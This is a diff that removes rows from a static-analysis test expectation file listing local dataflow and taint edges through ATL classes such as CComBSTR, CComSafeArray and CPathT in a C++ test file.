-| atl.cpp:470:16:470:21 | call to CComBSTR | atl.cpp:471:10:471:10 | b |  |
-| atl.cpp:470:16:470:21 | call to CComBSTR | atl.cpp:472:3:472:3 | b |  |
-| atl.cpp:471:10:471:10 | b [post update] | atl.cpp:472:3:472:3 | b |  |
-| atl.cpp:474:16:474:16 | x | atl.cpp:474:16:474:17 | call to CComBSTR | TAINT |
-| atl.cpp:474:16:474:17 | call to CComBSTR | atl.cpp:478:11:478:11 | b |  |
-| atl.cpp:474:16:474:17 | call to CComBSTR | atl.cpp:514:3:514:3 | b |  |
-| atl.cpp:476:14:476:15 | call to CComBSTR | atl.cpp:477:10:477:11 | b2 |  |
-| atl.cpp:476:14:476:15 | call to CComBSTR | atl.cpp:478:5:478:6 | b2 |  |
-| atl.cpp:476:14:476:15 | call to CComBSTR | atl.cpp:479:10:479:11 | b2 |  |
-| atl.cpp:476:14:476:15 | call to CComBSTR | atl.cpp:514:3:514:3 | b2 |  |
-| atl.cpp:477:10:477:11 | b2 [post update] | atl.cpp:478:5:478:6 | b2 |  |
-| atl.cpp:477:10:477:11 | b2 [post update] | atl.cpp:479:10:479:11 | b2 |  |
-| atl.cpp:477:10:477:11 | b2 [post update] | atl.cpp:514:3:514:3 | b2 |  |
-| atl.cpp:477:13:477:17 | ref arg m_str | atl.cpp:479:13:479:17 | m_str |  |
-| atl.cpp:478:5:478:6 | ref arg b2 | atl.cpp:479:10:479:11 | b2 |  |
-| atl.cpp:478:5:478:6 | ref arg b2 | atl.cpp:514:3:514:3 | b2 |  |
-| atl.cpp:479:10:479:11 | b2 [post update] | atl.cpp:514:3:514:3 | b2 |  |
-| atl.cpp:481:14:481:15 | call to CComBSTR | atl.cpp:482:5:482:6 | b3 |  |
-| atl.cpp:481:14:481:15 | call to CComBSTR | atl.cpp:483:10:483:11 | b3 |  |
-| atl.cpp:481:14:481:15 | call to CComBSTR | atl.cpp:484:28:484:29 | b3 |  |
-| atl.cpp:481:14:481:15 | call to CComBSTR | atl.cpp:485:13:485:14 | b3 |  |
-| atl.cpp:481:14:481:15 | call to CComBSTR | atl.cpp:514:3:514:3 | b3 |  |
-| atl.cpp:482:5:482:6 | ref arg b3 | atl.cpp:483:10:483:11 | b3 |  |
-| atl.cpp:482:5:482:6 | ref arg b3 | atl.cpp:484:28:484:29 | b3 |  |
-| atl.cpp:482:5:482:6 | ref arg b3 | atl.cpp:485:13:485:14 | b3 |  |
-| atl.cpp:482:5:482:6 | ref arg b3 | atl.cpp:514:3:514:3 | b3 |  |
-| atl.cpp:482:11:482:11 | x | atl.cpp:482:11:482:11 | call to CComBSTR | TAINT |
-| atl.cpp:483:10:483:11 | b3 [post update] | atl.cpp:484:28:484:29 | b3 |  |
-| atl.cpp:483:10:483:11 | b3 [post update] | atl.cpp:485:13:485:14 | b3 |  |
-| atl.cpp:483:10:483:11 | b3 [post update] | atl.cpp:514:3:514:3 | b3 |  |
-| atl.cpp:484:28:484:29 | ref arg b3 | atl.cpp:485:13:485:14 | b3 |  |
-| atl.cpp:484:28:484:29 | ref arg b3 | atl.cpp:514:3:514:3 | b3 |  |
-| atl.cpp:485:11:485:14 | * ... | atl.cpp:485:10:485:14 | * ... | TAINT |
-| atl.cpp:485:12:485:12 | call to operator& | atl.cpp:485:11:485:14 | * ... | TAINT |
-| atl.cpp:485:13:485:14 | ref arg b3 | atl.cpp:514:3:514:3 | b3 |  |
-| atl.cpp:487:14:487:15 | call to CComBSTR | atl.cpp:488:5:488:6 | b4 |  |
-| atl.cpp:487:14:487:15 | call to CComBSTR | atl.cpp:489:10:489:11 | b4 |  |
-| atl.cpp:487:14:487:15 | call to CComBSTR | atl.cpp:492:19:492:20 | b4 |  |
-| atl.cpp:487:14:487:15 | call to CComBSTR | atl.cpp:514:3:514:3 | b4 |  |
-| atl.cpp:488:5:488:6 | ref arg b4 | atl.cpp:489:10:489:11 | b4 |  |
-| atl.cpp:488:5:488:6 | ref arg b4 | atl.cpp:492:19:492:20 | b4 |  |
-| atl.cpp:488:5:488:6 | ref arg b4 | atl.cpp:514:3:514:3 | b4 |  |
-| atl.cpp:489:10:489:11 | b4 [post update] | atl.cpp:492:19:492:20 | b4 |  |
-| atl.cpp:489:10:489:11 | b4 [post update] | atl.cpp:514:3:514:3 | b4 |  |
-| atl.cpp:489:13:489:17 | ref arg m_str | atl.cpp:492:22:492:26 | m_str |  |
-| atl.cpp:491:14:491:15 | call to CComBSTR | atl.cpp:492:5:492:6 | b5 |  |
-| atl.cpp:491:14:491:15 | call to CComBSTR | atl.cpp:493:10:493:11 | b5 |  |
-| atl.cpp:491:14:491:15 | call to CComBSTR | atl.cpp:514:3:514:3 | b5 |  |
-| atl.cpp:492:5:492:6 | ref arg b5 | atl.cpp:493:10:493:11 | b5 |  |
-| atl.cpp:492:5:492:6 | ref arg b5 | atl.cpp:514:3:514:3 | b5 |  |
-| atl.cpp:492:19:492:20 | b4 [post update] | atl.cpp:514:3:514:3 | b4 |  |
-| atl.cpp:493:10:493:11 | b5 [post update] | atl.cpp:514:3:514:3 | b5 |  |
-| atl.cpp:495:14:495:15 | call to CComBSTR | atl.cpp:496:5:496:6 | b6 |  |
-| atl.cpp:495:14:495:15 | call to CComBSTR | atl.cpp:497:10:497:11 | b6 |  |
-| atl.cpp:495:14:495:15 | call to CComBSTR | atl.cpp:514:3:514:3 | b6 |  |
-| atl.cpp:496:5:496:6 | ref arg b6 | atl.cpp:497:10:497:11 | b6 |  |
-| atl.cpp:496:5:496:6 | ref arg b6 | atl.cpp:514:3:514:3 | b6 |  |
-| atl.cpp:497:10:497:11 | b6 [post update] | atl.cpp:514:3:514:3 | b6 |  |
-| atl.cpp:499:14:499:15 | call to CComBSTR | atl.cpp:500:5:500:6 | b7 |  |
-| atl.cpp:499:14:499:15 | call to CComBSTR | atl.cpp:501:10:501:11 | b7 |  |
-| atl.cpp:499:14:499:15 | call to CComBSTR | atl.cpp:504:19:504:20 | b7 |  |
-| atl.cpp:499:14:499:15 | call to CComBSTR | atl.cpp:514:3:514:3 | b7 |  |
-| atl.cpp:500:5:500:6 | ref arg b7 | atl.cpp:501:10:501:11 | b7 |  |
-| atl.cpp:500:5:500:6 | ref arg b7 | atl.cpp:504:19:504:20 | b7 |  |
-| atl.cpp:500:5:500:6 | ref arg b7 | atl.cpp:514:3:514:3 | b7 |  |
-| atl.cpp:501:10:501:11 | b7 [post update] | atl.cpp:504:19:504:20 | b7 |  |
-| atl.cpp:501:10:501:11 | b7 [post update] | atl.cpp:514:3:514:3 | b7 |  |
-| atl.cpp:501:13:501:17 | ref arg m_str | atl.cpp:504:22:504:26 | m_str |  |
-| atl.cpp:503:14:503:15 | call to CComBSTR | atl.cpp:504:5:504:6 | b8 |  |
-| atl.cpp:503:14:503:15 | call to CComBSTR | atl.cpp:505:10:505:11 | b8 |  |
-| atl.cpp:503:14:503:15 | call to CComBSTR | atl.cpp:514:3:514:3 | b8 |  |
-| atl.cpp:504:5:504:6 | ref arg b8 | atl.cpp:505:10:505:11 | b8 |  |
-| atl.cpp:504:5:504:6 | ref arg b8 | atl.cpp:514:3:514:3 | b8 |  |
-| atl.cpp:504:19:504:20 | b7 [post update] | atl.cpp:514:3:514:3 | b7 |  |
-| atl.cpp:505:10:505:11 | b8 [post update] | atl.cpp:514:3:514:3 | b8 |  |
-| atl.cpp:507:14:507:15 | call to CComBSTR | atl.cpp:509:5:509:6 | b9 |  |
-| atl.cpp:507:14:507:15 | call to CComBSTR | atl.cpp:510:5:510:6 | b9 |  |
-| atl.cpp:507:14:507:15 | call to CComBSTR | atl.cpp:513:10:513:11 | b9 |  |
-| atl.cpp:507:14:507:15 | call to CComBSTR | atl.cpp:514:3:514:3 | b9 |  |
-| atl.cpp:508:17:508:20 | safe | atl.cpp:510:21:510:24 | safe |  |
-| atl.cpp:508:17:508:20 | safe | atl.cpp:511:10:511:13 | safe |  |
-| atl.cpp:509:5:509:6 | ref arg b9 | atl.cpp:510:5:510:6 | b9 |  |
-| atl.cpp:509:5:509:6 | ref arg b9 | atl.cpp:513:10:513:11 | b9 |  |
-| atl.cpp:509:5:509:6 | ref arg b9 | atl.cpp:514:3:514:3 | b9 |  |
-| atl.cpp:510:5:510:6 | ref arg b9 | atl.cpp:513:10:513:11 | b9 |  |
-| atl.cpp:510:5:510:6 | ref arg b9 | atl.cpp:514:3:514:3 | b9 |  |
-| atl.cpp:510:20:510:24 | ref arg & ... | atl.cpp:510:21:510:24 | safe [inner post update] |  |
-| atl.cpp:510:20:510:24 | ref arg & ... | atl.cpp:511:10:511:13 | safe |  |
-| atl.cpp:510:21:510:24 | safe | atl.cpp:510:20:510:24 | & ... |  |
-| atl.cpp:513:10:513:11 | ref arg b9 | atl.cpp:514:3:514:3 | b9 |  |
-| atl.cpp:516:16:516:39 | call to indirect_source | atl.cpp:518:16:518:16 | w |  |
-| atl.cpp:516:16:516:39 | call to indirect_source | atl.cpp:522:15:522:15 | w |  |
-| atl.cpp:516:16:516:39 | call to indirect_source | atl.cpp:526:20:526:20 | w |  |
-| atl.cpp:518:16:518:16 | ref arg w | atl.cpp:522:15:522:15 | w |  |
-| atl.cpp:518:16:518:16 | ref arg w | atl.cpp:526:20:526:20 | w |  |
-| atl.cpp:518:16:518:16 | w | atl.cpp:518:16:518:17 | call to CComBSTR | TAINT |
-| atl.cpp:518:16:518:17 | call to CComBSTR | atl.cpp:519:10:519:10 | b |  |
-| atl.cpp:518:16:518:17 | call to CComBSTR | atl.cpp:524:3:524:3 | b |  |
-| atl.cpp:519:10:519:10 | b [post update] | atl.cpp:524:3:524:3 | b |  |
-| atl.cpp:521:14:521:15 | call to CComBSTR | atl.cpp:522:5:522:6 | b2 |  |
-| atl.cpp:521:14:521:15 | call to CComBSTR | atl.cpp:523:10:523:11 | b2 |  |
-| atl.cpp:521:14:521:15 | call to CComBSTR | atl.cpp:524:3:524:3 | b2 |  |
-| atl.cpp:522:5:522:6 | ref arg b2 | atl.cpp:523:10:523:11 | b2 |  |
-| atl.cpp:522:5:522:6 | ref arg b2 | atl.cpp:524:3:524:3 | b2 |  |
-| atl.cpp:522:15:522:15 | ref arg w | atl.cpp:526:20:526:20 | w |  |
-| atl.cpp:523:10:523:11 | b2 [post update] | atl.cpp:524:3:524:3 | b2 |  |
-| atl.cpp:526:16:526:21 | call to CComBSTR | atl.cpp:527:10:527:10 | b |  |
-| atl.cpp:526:16:526:21 | call to CComBSTR | atl.cpp:528:3:528:3 | b |  |
-| atl.cpp:527:10:527:10 | b [post update] | atl.cpp:528:3:528:3 | b |  |
-| atl.cpp:573:22:573:33 | call to getSafeArray | atl.cpp:574:8:574:11 | safe |  |
-| atl.cpp:573:22:573:33 | call to getSafeArray | atl.cpp:576:24:576:27 | safe |  |
-| atl.cpp:573:22:573:33 | call to getSafeArray | atl.cpp:587:11:587:14 | safe |  |
-| atl.cpp:574:8:574:11 | safe [post update] | atl.cpp:576:24:576:27 | safe |  |
-| atl.cpp:574:8:574:11 | safe [post update] | atl.cpp:587:11:587:14 | safe |  |
-| atl.cpp:576:24:576:27 | safe | atl.cpp:576:24:576:28 | call to CComSafeArray | TAINT |
-| atl.cpp:576:24:576:28 | call to CComSafeArray | atl.cpp:577:8:577:8 | c |  |
-| atl.cpp:576:24:576:28 | call to CComSafeArray | atl.cpp:578:8:578:8 | c |  |
-| atl.cpp:576:24:576:28 | call to CComSafeArray | atl.cpp:579:8:579:8 | c |  |
-| atl.cpp:576:24:576:28 | call to CComSafeArray | atl.cpp:580:8:580:8 | c |  |
-| atl.cpp:576:24:576:28 | call to CComSafeArray | atl.cpp:581:3:581:3 | c |  |
-| atl.cpp:577:8:577:8 | ref arg c | atl.cpp:578:8:578:8 | c |  |
-| atl.cpp:577:8:577:8 | ref arg c | atl.cpp:579:8:579:8 | c |  |
-| atl.cpp:577:8:577:8 | ref arg c | atl.cpp:580:8:580:8 | c |  |
-| atl.cpp:577:8:577:8 | ref arg c | atl.cpp:581:3:581:3 | c |  |
-| atl.cpp:578:8:578:8 | ref arg c | atl.cpp:579:8:579:8 | c |  |
-| atl.cpp:578:8:578:8 | ref arg c | atl.cpp:580:8:580:8 | c |  |
-| atl.cpp:578:8:578:8 | ref arg c | atl.cpp:581:3:581:3 | c |  |
-| atl.cpp:579:8:579:8 | ref arg c | atl.cpp:580:8:580:8 | c |  |
-| atl.cpp:579:8:579:8 | ref arg c | atl.cpp:581:3:581:3 | c |  |
-| atl.cpp:580:8:580:8 | c [post update] | atl.cpp:581:3:581:3 | c |  |
-| atl.cpp:583:24:583:24 | call to CComSafeArray | atl.cpp:584:10:584:10 | c |  |
-| atl.cpp:583:24:583:24 | call to CComSafeArray | atl.cpp:585:10:585:10 | c |  |
-| atl.cpp:583:24:583:24 | call to CComSafeArray | atl.cpp:586:10:586:10 | c |  |
-| atl.cpp:583:24:583:24 | call to CComSafeArray | atl.cpp:587:5:587:5 | c |  |
-| atl.cpp:583:24:583:24 | call to CComSafeArray | atl.cpp:588:10:588:10 | c |  |
-| atl.cpp:583:24:583:24 | call to CComSafeArray | atl.cpp:589:10:589:10 | c |  |
-| atl.cpp:583:24:583:24 | call to CComSafeArray | atl.cpp:590:10:590:10 | c |  |
-| atl.cpp:583:24:583:24 | call to CComSafeArray | atl.cpp:591:35:591:35 | c |  |
-| atl.cpp:583:24:583:24 | call to CComSafeArray | atl.cpp:592:3:592:3 | c |  |
-| atl.cpp:584:10:584:10 | ref arg c | atl.cpp:585:10:585:10 | c |  |
-| atl.cpp:584:10:584:10 | ref arg c | atl.cpp:586:10:586:10 | c |  |
-| atl.cpp:584:10:584:10 | ref arg c | atl.cpp:587:5:587:5 | c |  |
-| atl.cpp:584:10:584:10 | ref arg c | atl.cpp:588:10:588:10 | c |  |
-| atl.cpp:584:10:584:10 | ref arg c | atl.cpp:589:10:589:10 | c |  |
-| atl.cpp:584:10:584:10 | ref arg c | atl.cpp:590:10:590:10 | c |  |
-| atl.cpp:584:10:584:10 | ref arg c | atl.cpp:591:35:591:35 | c |  |
-| atl.cpp:584:10:584:10 | ref arg c | atl.cpp:592:3:592:3 | c |  |
-| atl.cpp:585:10:585:10 | ref arg c | atl.cpp:586:10:586:10 | c |  |
-| atl.cpp:585:10:585:10 | ref arg c | atl.cpp:587:5:587:5 | c |  |
-| atl.cpp:585:10:585:10 | ref arg c | atl.cpp:588:10:588:10 | c |  |
-| atl.cpp:585:10:585:10 | ref arg c | atl.cpp:589:10:589:10 | c |  |
-| atl.cpp:585:10:585:10 | ref arg c | atl.cpp:590:10:590:10 | c |  |
-| atl.cpp:585:10:585:10 | ref arg c | atl.cpp:591:35:591:35 | c |  |
-| atl.cpp:585:10:585:10 | ref arg c | atl.cpp:592:3:592:3 | c |  |
-| atl.cpp:586:10:586:10 | ref arg c | atl.cpp:587:5:587:5 | c |  |
-| atl.cpp:586:10:586:10 | ref arg c | atl.cpp:588:10:588:10 | c |  |
-| atl.cpp:586:10:586:10 | ref arg c | atl.cpp:589:10:589:10 | c |  |
-| atl.cpp:586:10:586:10 | ref arg c | atl.cpp:590:10:590:10 | c |  |
-| atl.cpp:586:10:586:10 | ref arg c | atl.cpp:591:35:591:35 | c |  |
-| atl.cpp:586:10:586:10 | ref arg c | atl.cpp:592:3:592:3 | c |  |
-| atl.cpp:587:5:587:5 | ref arg c | atl.cpp:588:10:588:10 | c |  |
-| atl.cpp:587:5:587:5 | ref arg c | atl.cpp:589:10:589:10 | c |  |
-| atl.cpp:587:5:587:5 | ref arg c | atl.cpp:590:10:590:10 | c |  |
-| atl.cpp:587:5:587:5 | ref arg c | atl.cpp:591:35:591:35 | c |  |
-| atl.cpp:587:5:587:5 | ref arg c | atl.cpp:592:3:592:3 | c |  |
-| atl.cpp:588:10:588:10 | ref arg c | atl.cpp:589:10:589:10 | c |  |
-| atl.cpp:588:10:588:10 | ref arg c | atl.cpp:590:10:590:10 | c |  |
-| atl.cpp:588:10:588:10 | ref arg c | atl.cpp:591:35:591:35 | c |  |
-| atl.cpp:588:10:588:10 | ref arg c | atl.cpp:592:3:592:3 | c |  |
-| atl.cpp:589:10:589:10 | ref arg c | atl.cpp:590:10:590:10 | c |  |
-| atl.cpp:589:10:589:10 | ref arg c | atl.cpp:591:35:591:35 | c |  |
-| atl.cpp:589:10:589:10 | ref arg c | atl.cpp:592:3:592:3 | c |  |
-| atl.cpp:590:10:590:10 | ref arg c | atl.cpp:591:35:591:35 | c |  |
-| atl.cpp:590:10:590:10 | ref arg c | atl.cpp:592:3:592:3 | c |  |
-| atl.cpp:591:35:591:35 | ref arg c | atl.cpp:592:3:592:3 | c |  |
-| atl.cpp:594:24:594:24 | call to CComSafeArray | atl.cpp:595:5:595:5 | c |  |
-| atl.cpp:594:24:594:24 | call to CComSafeArray | atl.cpp:596:10:596:10 | c |  |
-| atl.cpp:594:24:594:24 | call to CComSafeArray | atl.cpp:597:10:597:10 | c |  |
-| atl.cpp:594:24:594:24 | call to CComSafeArray | atl.cpp:598:10:598:10 | c |  |
-| atl.cpp:594:24:594:24 | call to CComSafeArray | atl.cpp:599:3:599:3 | c |  |
-| atl.cpp:595:5:595:5 | ref arg c | atl.cpp:596:10:596:10 | c |  |
-| atl.cpp:595:5:595:5 | ref arg c | atl.cpp:597:10:597:10 | c |  |
-| atl.cpp:595:5:595:5 | ref arg c | atl.cpp:598:10:598:10 | c |  |
-| atl.cpp:595:5:595:5 | ref arg c | atl.cpp:599:3:599:3 | c |  |
-| atl.cpp:596:10:596:10 | ref arg c | atl.cpp:597:10:597:10 | c |  |
-| atl.cpp:596:10:596:10 | ref arg c | atl.cpp:598:10:598:10 | c |  |
-| atl.cpp:596:10:596:10 | ref arg c | atl.cpp:599:3:599:3 | c |  |
-| atl.cpp:597:10:597:10 | ref arg c | atl.cpp:598:10:598:10 | c |  |
-| atl.cpp:597:10:597:10 | ref arg c | atl.cpp:599:3:599:3 | c |  |
-| atl.cpp:598:10:598:10 | ref arg c | atl.cpp:599:3:599:3 | c |  |
-| atl.cpp:601:24:601:24 | call to CComSafeArray | atl.cpp:602:5:602:5 | c |  |
-| atl.cpp:601:24:601:24 | call to CComSafeArray | atl.cpp:603:10:603:10 | c |  |
-| atl.cpp:601:24:601:24 | call to CComSafeArray | atl.cpp:604:10:604:10 | c |  |
-| atl.cpp:601:24:601:24 | call to CComSafeArray | atl.cpp:605:3:605:3 | c |  |
-| atl.cpp:602:5:602:5 | ref arg c | atl.cpp:603:10:603:10 | c |  |
-| atl.cpp:602:5:602:5 | ref arg c | atl.cpp:604:10:604:10 | c |  |
-| atl.cpp:602:5:602:5 | ref arg c | atl.cpp:605:3:605:3 | c |  |
-| atl.cpp:603:10:603:10 | ref arg c | atl.cpp:604:10:604:10 | c |  |
-| atl.cpp:603:10:603:10 | ref arg c | atl.cpp:605:3:605:3 | c |  |
-| atl.cpp:604:10:604:10 | ref arg c | atl.cpp:605:3:605:3 | c |  |
-| atl.cpp:666:13:666:33 | call to indirect_source | atl.cpp:667:11:667:11 | x |  |
-| atl.cpp:666:13:666:33 | call to indirect_source | atl.cpp:676:20:676:20 | x |  |
-| atl.cpp:666:13:666:33 | call to indirect_source | atl.cpp:681:14:681:14 | x |  |
-| atl.cpp:666:13:666:33 | call to indirect_source | atl.cpp:689:11:689:11 | x |  |
-| atl.cpp:666:13:666:33 | call to indirect_source | atl.cpp:695:15:695:15 | x |  |
-| atl.cpp:666:13:666:33 | call to indirect_source | atl.cpp:700:24:700:24 | x |  |
-| atl.cpp:666:13:666:33 | call to indirect_source | atl.cpp:706:30:706:30 | x |  |
-| atl.cpp:667:11:667:11 | ref arg x | atl.cpp:676:20:676:20 | x |  |
-| atl.cpp:667:11:667:11 | ref arg x | atl.cpp:681:14:681:14 | x |  |
-| atl.cpp:667:11:667:11 | ref arg x | atl.cpp:689:11:689:11 | x |  |
-| atl.cpp:667:11:667:11 | ref arg x | atl.cpp:695:15:695:15 | x |  |
-| atl.cpp:667:11:667:11 | ref arg x | atl.cpp:700:24:700:24 | x |  |
-| atl.cpp:667:11:667:11 | ref arg x | atl.cpp:706:30:706:30 | x |  |
-| atl.cpp:667:11:667:11 | x | atl.cpp:667:11:667:12 | call to CPathT | TAINT |
-| atl.cpp:667:11:667:12 | call to CPathT | atl.cpp:668:27:668:27 | p |  |
-| atl.cpp:667:11:667:12 | call to CPathT | atl.cpp:669:8:669:8 | p |  |
-| atl.cpp:667:11:667:12 | call to CPathT | atl.cpp:671:12:671:12 | p |  |
-| atl.cpp:668:27:668:27 | ref arg p | atl.cpp:669:8:669:8 | p |  |
-| atl.cpp:668:27:668:27 | ref arg p | atl.cpp:671:12:671:12 | p |  |
-| atl.cpp:669:8:669:8 | p [post update] | atl.cpp:671:12:671:12 | p |  |
-| atl.cpp:669:10:669:18 | ref arg m_strPath | atl.cpp:672:11:672:19 | m_strPath |  |
-| atl.cpp:671:12:671:12 | p | atl.cpp:671:12:671:13 | call to CPathT |  |
-| atl.cpp:671:12:671:13 | call to CPathT | atl.cpp:672:8:672:9 | p2 |  |
-| atl.cpp:675:11:675:11 | call to CPathT | atl.cpp:676:5:676:5 | p |  |
-| atl.cpp:675:11:675:11 | call to CPathT | atl.cpp:677:10:677:10 | p |  |
-| atl.cpp:676:5:676:5 | ref arg p | atl.cpp:677:10:677:10 | p |  |
-| atl.cpp:676:20:676:20 | ref arg x | atl.cpp:681:14:681:14 | x |  |
-| atl.cpp:676:20:676:20 | ref arg x | atl.cpp:689:11:689:11 | x |  |
-| atl.cpp:676:20:676:20 | ref arg x | atl.cpp:695:15:695:15 | x |  |
-| atl.cpp:676:20:676:20 | ref arg x | atl.cpp:700:24:700:24 | x |  |
-| atl.cpp:676:20:676:20 | ref arg x | atl.cpp:706:30:706:30 | x |  |
-| atl.cpp:680:11:680:11 | call to CPathT | atl.cpp:681:5:681:5 | p |  |
-| atl.cpp:680:11:680:11 | call to CPathT | atl.cpp:682:10:682:10 | p |  |
-| atl.cpp:680:11:680:11 | call to CPathT | atl.cpp:685:11:685:11 | p |  |
-| atl.cpp:681:5:681:5 | ref arg p | atl.cpp:682:10:682:10 | p |  |
-| atl.cpp:681:5:681:5 | ref arg p | atl.cpp:685:11:685:11 | p |  |
-| atl.cpp:681:14:681:14 | ref arg x | atl.cpp:689:11:689:11 | x |  |
-| atl.cpp:681:14:681:14 | ref arg x | atl.cpp:695:15:695:15 | x |  |
-| atl.cpp:681:14:681:14 | ref arg x | atl.cpp:700:24:700:24 | x |  |
-| atl.cpp:681:14:681:14 | ref arg x | atl.cpp:706:30:706:30 | x |  |
-| atl.cpp:682:10:682:10 | p [post update] | atl.cpp:685:11:685:11 | p |  |
-| atl.cpp:684:11:684:12 | call to CPathT | atl.cpp:685:5:685:6 | p2 |  |
-| atl.cpp:684:11:684:12 | call to CPathT | atl.cpp:686:10:686:11 | p2 |  |
-| atl.cpp:685:5:685:6 | ref arg p2 | atl.cpp:686:10:686:11 | p2 |  |
-| atl.cpp:685:11:685:11 | call to operator char *& | atl.cpp:685:8:685:8 | call to operator+= | TAINT |
-| atl.cpp:688:11:688:12 | call to CPathT | atl.cpp:689:5:689:6 | p3 |  |
-| atl.cpp:688:11:688:12 | call to CPathT | atl.cpp:690:10:690:11 | p3 |  |
-| atl.cpp:689:5:689:6 | ref arg p3 | atl.cpp:690:10:690:11 | p3 |  |
-| atl.cpp:689:11:689:11 | ref arg x | atl.cpp:695:15:695:15 | x |  |
-| atl.cpp:689:11:689:11 | ref arg x | atl.cpp:700:24:700:24 | x |  |
-| atl.cpp:689:11:689:11 | ref arg x | atl.cpp:706:30:706:30 | x |  |
-| atl.cpp:689:11:689:11 | x | atl.cpp:689:8:689:8 | call to operator+= | TAINT |
-| atl.cpp:694:11:694:11 | call to CPathT | atl.cpp:695:5:695:5 | p |  |
-| atl.cpp:694:11:694:11 | call to CPathT | atl.cpp:696:10:696:10 | p |  |
-| atl.cpp:695:5:695:5 | ref arg p | atl.cpp:696:10:696:10 | p |  |
-| atl.cpp:695:15:695:15 | ref arg x | atl.cpp:700:24:700:24 | x |  |
-| atl.cpp:695:15:695:15 | ref arg x | atl.cpp:706:30:706:30 | x |  |
-| atl.cpp:699:11:699:11 | call to CPathT | atl.cpp:700:5:700:5 | p |  |
-| atl.cpp:699:11:699:11 | call to CPathT | atl.cpp:701:10:701:10 | p |  |
-| atl.cpp:700:5:700:5 | ref arg p | atl.cpp:701:10:701:10 | p |  |
-| atl.cpp:700:24:700:24 | ref arg x | atl.cpp:706:30:706:30 | x |  |
-| atl.cpp:705:11:705:11 | call to CPathT | atl.cpp:706:15:706:15 | p |  |
-| atl.cpp:706:17:706:28 | call to CommonPrefix | atl.cpp:707:10:707:11 | p2 |  |
-| atl.cpp:706:17:706:28 | call to CommonPrefix | atl.cpp:708:10:708:11 | p2 |  |
-| atl.cpp:707:10:707:11 | p2 [post update] | atl.cpp:708:10:708:11 | p2 |  |
-| atl.cpp:735:11:735:21 | call to source | atl.cpp:738:11:738:11 | x |  |
-| atl.cpp:735:11:735:21 | call to source | atl.cpp:750:11:750:11 | x |  |
-| atl.cpp:735:11:735:21 | call to source | atl.cpp:754:23:754:23 | x |  |
-| atl.cpp:737:23:737:23 | call to CSimpleArray | atl.cpp:738:5:738:5 | a |  |
-| atl.cpp:737:23:737:23 | call to CSimpleArray | atl.cpp:739:10:739:10 | a |  |
-| atl.cpp:737:23:737:23 | call to CSimpleArray | atl.cpp:740:5:740:5 | a |  |
-| atl.cpp:737:23:737:23 | call to CSimpleArray | atl.cpp:741:10:741:10 | a |  |
-| atl.cpp:737:23:737:23 | call to CSimpleArray | atl.cpp:745:10:745:10 | a |  |
-| atl.cpp:737:23:737:23 | call to CSimpleArray | atl.cpp:747:3:747:3 | a |  |
-| atl.cpp:738:5:738:5 | ref arg a | atl.cpp:739:10:739:10 | a |  |
-| atl.cpp:738:5:738:5 | ref arg a | atl.cpp:740:5:740:5 | a |  |
-| atl.cpp:738:5:738:5 | ref arg a | atl.cpp:741:10:741:10 | a |  |
-| atl.cpp:738:5:738:5 | ref arg a | atl.cpp:745:10:745:10 | a |  |
-| atl.cpp:738:5:738:5 | ref arg a | atl.cpp:747:3:747:3 | a |  |
-| atl.cpp:739:10:739:10 | ref arg a | atl.cpp:740:5:740:5 | a |  |
-| atl.cpp:739:10:739:10 | ref arg a | atl.cpp:741:10:741:10 | a |  |
-| atl.cpp:739:10:739:10 | ref arg a | atl.cpp:745:10:745:10 | a |  |
-| atl.cpp:739:10:739:10 | ref arg a | atl.cpp:747:3:747:3 | a |  |
-| atl.cpp:740:5:740:5 | ref arg a | atl.cpp:741:10:741:10 | a |  |
-| atl.cpp:740:5:740:5 | ref arg a | atl.cpp:745:10:745:10 | a |  |
-| atl.cpp:740:5:740:5 | ref arg a | atl.cpp:747:3:747:3 | a |  |
-| atl.cpp:741:10:741:10 | ref arg a | atl.cpp:745:10:745:10 | a |  |
-| atl.cpp:741:10:741:10 | ref arg a | atl.cpp:747:3:747:3 | a |  |
-| atl.cpp:743:23:743:24 | call to CSimpleArray | atl.cpp:744:10:744:11 | a2 |  |
-| atl.cpp:743:23:743:24 | call to CSimpleArray | atl.cpp:745:5:745:6 | a2 |  |
-| atl.cpp:743:23:743:24 | call to CSimpleArray | atl.cpp:746:10:746:11 | a2 |  |
-| atl.cpp:743:23:743:24 | call to CSimpleArray | atl.cpp:747:3:747:3 | a2 |  |
-| atl.cpp:744:10:744:11 | ref arg a2 | atl.cpp:745:5:745:6 | a2 |  |
-| atl.cpp:744:10:744:11 | ref arg a2 | atl.cpp:746:10:746:11 | a2 |  |
-| atl.cpp:744:10:744:11 | ref arg a2 | atl.cpp:747:3:747:3 | a2 |  |
-| atl.cpp:745:5:745:6 | ref arg a2 | atl.cpp:746:10:746:11 | a2 |  |
-| atl.cpp:745:5:745:6 | ref arg a2 | atl.cpp:747:3:747:3 | a2 |  |
-| atl.cpp:745:10:745:10 | a | atl.cpp:745:5:745:6 | ref arg a2 | TAINT |
-| atl.cpp:745:10:745:10 | a | atl.cpp:745:8:745:8 | call to operator= | TAINT |
-| atl.cpp:746:10:746:11 | ref arg a2 | atl.cpp:747:3:747:3 | a2 |  |
-| atl.cpp:749:23:749:23 | call to CSimpleArray | atl.cpp:750:5:750:5 | a |  |
-| atl.cpp:749:23:749:23 | call to CSimpleArray | atl.cpp:751:10:751:10 | a |  |
-| atl.cpp:749:23:749:23 | call to CSimpleArray | atl.cpp:756:3:756:3 | a |  |
-| atl.cpp:750:5:750:5 | ref arg a | atl.cpp:751:10:751:10 | a |  |
-| atl.cpp:750:5:750:5 | ref arg a | atl.cpp:756:3:756:3 | a |  |
-| atl.cpp:751:10:751:10 | ref arg a | atl.cpp:756:3:756:3 | a |  |
-| atl.cpp:753:23:753:24 | call to CSimpleArray | atl.cpp:754:15:754:16 | a2 |  |
-| atl.cpp:753:23:753:24 | call to CSimpleArray | atl.cpp:755:10:755:11 | a2 |  |
-| atl.cpp:753:23:753:24 | call to CSimpleArray | atl.cpp:756:3:756:3 | a2 |  |
-| atl.cpp:754:18:754:21 | call to Find | atl.cpp:755:13:755:15 | pos |  |
-| atl.cpp:755:10:755:11 | ref arg a2 | atl.cpp:756:3:756:3 | a2 |  |
-| atl.cpp:780:16:780:31 | call to source | atl.cpp:783:20:783:20 | x |  |
-| atl.cpp:780:16:780:31 | call to source | atl.cpp:793:26:793:26 | x |  |
-| atl.cpp:780:16:780:31 | call to source | atl.cpp:798:32:798:32 | x |  |
-| atl.cpp:780:16:780:31 | call to source | atl.cpp:804:22:804:22 | x |  |
-| atl.cpp:780:16:780:31 | call to source | atl.cpp:809:30:809:30 | x |  |
-| atl.cpp:782:33:782:33 | call to CSimpleMap | atl.cpp:783:5:783:5 | a |  |
